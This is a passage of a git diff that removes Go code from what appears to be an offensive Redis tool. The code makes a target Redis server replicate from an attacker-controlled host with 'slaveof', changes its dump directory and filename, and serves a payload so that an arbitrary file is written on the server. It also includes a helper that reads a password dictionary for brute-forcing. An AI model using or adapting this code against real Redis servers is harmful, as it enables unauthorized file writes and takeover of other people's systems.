Redis 给打崩 - fi, err := os.Stat(lfile) - if err != nil { - fmt.Println(err) - os.Exit(0) - } - - if fi.Size() < 9 { - fmt.Println(fmt.Sprintf("当前文件大小:%d 个字节,不能上传小于 9 个字节, 因为可能会把Redis打崩哦", fi.Size())) - os.Exit(0) - } - - // 上传文件 - f, err := os.Open(lfile) - if err != nil { - fmt.Println(err) - os.Exit(0) - } - - payload, err := ioutil.ReadAll(f) - if err != nil { - fmt.Println(err) - os.Exit(0) - } - - slave := fmt.Sprintf("slaveof %v %v", lhost, lport) - dir := fmt.Sprintf("config set dir %v", rpath) - file := fmt.Sprintf("config set dbfilename %v", rfile) - - RunRedisCmd(slave) - RunRedisCmd(dir) - RunRedisCmd(file) - - Listen(lhost, lport, payload) - - fmt.Printf("[OK]\t%v uploaded successfully\n", rfile) - - defer CloseSlave("") - - defer RunRedisCmd(fmt.Sprintf("config set dir %v", Redis_dir)) - defer RunRedisCmd(fmt.Sprintf("config set dbfilename %v", Redis_dbfilename)) - -} diff --git a/pkg/utils.go b/pkg/utils.go deleted file mode 100644 index 2644213..0000000 --- a/pkg/utils.go +++ /dev/null @@ -1,78 +0,0 @@ -package pkg - -import ( - "bufio" - "fmt" - "os" - "strings" - - "golang.org/x/text/encoding/simplifiedchinese" - "golang.org/x/text/transform" -) - -// 读取密码字典 -func ReadFile(filename string) ([]string, error) { - file, err := os.Open(filename) - if err != nil { - return nil, err - } - defer file.Close() - scanner := bufio.NewScanner(file) - scanner.Split(bufio.ScanLines) - var result []string - for scanner.Scan() { - str := strings.TrimSpace(scanner.Text()) - if str != "" { - result = append(result, str) - } - } - return result, err -} - -func Utf8ToGbk(str string) string { - enc := simplifiedchinese.GBK.NewEncoder() - gbkBytes, err := enc.String(str) - if err != nil { - return err.Error() - } - return gbkBytes -} - -func GbkToUtf8(str string) string { - decoder := simplifiedchinese.GB18030.NewDecoder() - utf8Bytes, _, err := transform.Bytes(decoder, []byte(str)) - if err != nil { - return err.Error() - } - return string(utf8Bytes) -} - -// 获取 redis config get key 的值 -func getRedisValue(cmd string) string { - result, err := RedisCmd(cmd) - if err != nil { - fmt.Println(err) - return "" - } - - // redis 4.x 5.x 获取的结果 - if values, ok := result.([]interface{}); ok && len(values) > 1 { - if compression, ok := values[1].(string); ok { - return compression - } - } - - // redis 6.x 的结果 - if val, ok := result.(map[interface{}]interface{}); ok { - - if strings.EqualFold(cmd, "config get dir") { - return val["dir"].(string) - } - - if strings.EqualFold(cmd, "config get dbfilename") { - return val["dbfilename"].(string) - } - } - - return "" -}